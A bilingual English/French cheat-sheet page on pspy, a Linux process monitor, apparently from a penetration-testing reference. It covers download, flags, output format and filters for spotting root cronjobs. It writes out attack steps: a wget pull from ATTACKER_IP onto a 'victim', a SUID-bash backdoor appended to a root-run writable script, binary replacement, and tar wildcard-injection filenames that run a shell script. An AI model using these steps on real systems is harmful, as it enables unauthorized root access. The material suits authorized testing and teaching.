pspy

Moniteur de processus Linux non privilégié. Surveille les nouveaux processus sans root en lisant /proc. Capture les cronjobs, tâches planifiées et exécutions de scripts privilégiés. Unprivileged Linux process monitor. Watches for new processes without root by reading /proc. Catches cronjobs, scheduled tasks, and privileged script executions.

↗ https://github.com/DominicBreuker/pspy

Overview

pspy monitors Linux processes in real-time without requiring root privileges. It reads /proc on an interval to catch new process spawns — including those running as root. This reveals cronjobs, scheduled scripts, and privileged commands that may be exploitable for privilege escalation.

Download & Run

Download precompiled binary (choose based on architecture) 64-bit static binary (works on most systems)

wget https://github.com/DominicBreuker/pspy/releases/latest/download/pspy64

32-bit

wget https://github.com/DominicBreuker/pspy/releases/latest/download/pspy32
# Make executable and run
chmod +x pspy64
./pspy64

Or transfer to target via web server Attacker:

python3 -m http.server 8000
# Victim:
wget http://ATTACKER_IP:8000/pspy64 -O /tmp/pspy64
chmod +x /tmp/pspy64
/tmp/pspy64

Usage

Basic monitoring (default: check every 100ms)

./pspy64

Set interval (milliseconds)

./pspy64 -i 1000     # Check every second

Show filesystem events (inotify) in addition to processes

./pspy64 -f

Monitor specific directory for file changes

./pspy64 -f -d /tmp,/var/tmp,/dev/shm

Filter by UID (only show root processes)

./pspy64 | grep "UID=0"

Suppress header

./pspy64 -q

Log to file

./pspy64 | tee /tmp/pspy_output.txt

Output Format

2024/01/15 14:30:01 CMD: UID=0    PID=1234   | /bin/sh -c /opt/cleanup.sh
2024/01/15 14:30:01 CMD: UID=0    PID=1235   | /opt/cleanup.sh
2024/01/15 14:30:02 CMD: UID=1000 PID=1236   | curl http://internal-server/data
2024/01/15 14:31:00 CMD: UID=0    PID=1237   | /usr/sbin/cron

Fields: timestamp, UID of process owner, PID, and full command line.

What to Look For

Filter for root processes only

./pspy64 | grep "UID=0"

Look for scripts in writable directories

./pspy64 | grep -E "/tmp|/var/tmp|/dev/shm"

Look for cron jobs

./pspy64 | grep "cron\|CRON"

Look for scripts with world-writable paths

./pspy64 | grep "\.sh"

Look for interesting binaries called as root

./pspy64 | grep "UID=0" | grep -v "^\[" | awk '{print $6}' | sort -u

Privesc Patterns

Pattern 1: Root runs script in world-writable dir If you see: UID=0 | /bin/sh /tmp/backup.sh And /tmp/backup.sh is writable by your user:

echo 'chmod +s /bin/bash' >> /tmp/backup.sh

→ Wait for next execution → /bin/bash -p → root shell

# Pattern 2: Root calls a binary you can replace
# If you see: UID=0 | /usr/local/bin/cleanup
# Check: ls -la /usr/local/bin/cleanup → if writable:
# Replace with malicious version

# Pattern 3: Wildcard injection in cron
# If you see: UID=0 | /bin/tar -czf /backup/* 
# Touch files named: --checkpoint=1 --checkpoint-action=exec=sh shell.sh

Tips

  • Let pspy run for at least 5-10 minutes — cronjobs may run every minute
  • Run at :00 minutes to catch jobs that run at the start of each minute
  • Combine with crontab -l, cat /etc/cron*, and /var/spool/cron/ for static analysis
  • pspy is completely statically compiled — it runs on any Linux system
Help / Man page
pspy [flags]

-i int      Interval between scans (ms, default: 100)
-f          Enable inotify filesystem watching
-d string   Directories to watch (default: /usr,/tmp,/etc,/home,/var,/opt)
-r string   Root directories to watch (for filesystem events)
-p          Disable process scanning
-q          Quiet output (no header banner)
-c          Use colors

Vue d’ensemble

pspy surveille les processus Linux en temps réel sans nécessiter de privilèges root. Il lit /proc à intervalle régulier pour capturer les nouveaux processus créés, y compris ceux qui s’exécutent en tant que root. Cela révèle les tâches cron, scripts planifiés et commandes privilégiées potentiellement exploitables pour une élévation de privilèges.

Téléchargement et exécution

# Télécharger le binaire précompilé (selon l'architecture)
# binaire statique 64 bits (fonctionne sur la plupart des systèmes)
wget https://github.com/DominicBreuker/pspy/releases/latest/download/pspy64

# 32 bits
wget https://github.com/DominicBreuker/pspy/releases/latest/download/pspy32

# Rendre exécutable et lancer
chmod +x pspy64
./pspy64

# Ou transférer vers la cible via un serveur web. Attaquant :
python3 -m http.server 8000

# Victime :
wget http://ATTACKER_IP:8000/pspy64 -O /tmp/pspy64
chmod +x /tmp/pspy64
/tmp/pspy64

Utilisation

# Surveillance basique (par défaut : vérification toutes les 100 ms)
./pspy64

# Définir l'intervalle (millisecondes)
./pspy64 -i 1000     # Vérifier chaque seconde

# Afficher les événements du système de fichiers (inotify) en plus des processus
./pspy64 -f

# Surveiller un répertoire spécifique pour les changements de fichiers
./pspy64 -f -d /tmp,/var/tmp,/dev/shm

# Filtrer par UID (afficher uniquement les processus root)
./pspy64 | grep "UID=0"

# Supprimer l'en-tête
./pspy64 -q

# Journaliser dans un fichier
./pspy64 | tee /tmp/pspy_output.txt

Format de sortie

2024/01/15 14:30:01 CMD: UID=0    PID=1234   | /bin/sh -c /opt/cleanup.sh
2024/01/15 14:30:01 CMD: UID=0    PID=1235   | /opt/cleanup.sh
2024/01/15 14:30:02 CMD: UID=1000 PID=1236   | curl http://internal-server/data
2024/01/15 14:31:00 CMD: UID=0    PID=1237   | /usr/sbin/cron

Champs : horodatage, UID du propriétaire du processus, PID et ligne de commande complète.

Ce qu’il faut rechercher

# Filtrer uniquement les processus root
./pspy64 | grep "UID=0"

# Rechercher des scripts dans des répertoires inscriptibles
./pspy64 | grep -E "/tmp|/var/tmp|/dev/shm"

# Rechercher des tâches cron
./pspy64 | grep "cron\|CRON"

# Rechercher des scripts avec des chemins accessibles en écriture à tous
./pspy64 | grep "\.sh"

# Rechercher des binaires intéressants appelés en tant que root
./pspy64 | grep "UID=0" | grep -v "^\[" | awk '{print $6}' | sort -u

Motifs de privesc

# Motif 1 : root exécute un script dans un répertoire accessible en écriture à tous
# Si vous voyez : UID=0 | /bin/sh /tmp/backup.sh, et que /tmp/backup.sh est inscriptible par votre utilisateur :
echo 'chmod +s /bin/bash' >> /tmp/backup.sh

→ Attendre la prochaine exécution → /bin/bash -p → shell root

# Motif 2 : root appelle un binaire que vous pouvez remplacer
# Si vous voyez : UID=0 | /usr/local/bin/cleanup
# Vérifier : ls -la /usr/local/bin/cleanup → si inscriptible :
# Remplacer par une version malveillante

# Motif 3 : injection par wildcard dans cron
# Si vous voyez : UID=0 | /bin/tar -czf /backup/*
# Créer des fichiers nommés : --checkpoint=1 --checkpoint-action=exec=sh shell.sh

Conseils

  • Laissez pspy tourner au moins 5 à 10 minutes : les tâches cron peuvent s’exécuter chaque minute
  • Lancez-le à la minute :00 pour capturer les tâches qui s’exécutent au début de chaque minute
  • Combinez avec crontab -l, cat /etc/cron* et /var/spool/cron/ pour une analyse statique
  • pspy est entièrement compilé statiquement : il fonctionne sur n’importe quel système Linux
Aide / Page de manuel
pspy [flags]

-i int      Interval between scans (ms, default: 100)
-f          Enable inotify filesystem watching
-d string   Directories to watch (default: /usr,/tmp,/etc,/home,/var,/opt)
-r string   Root directories to watch (for filesystem events)
-p          Disable process scanning
-q          Quiet output (no header banner)
-c          Use colors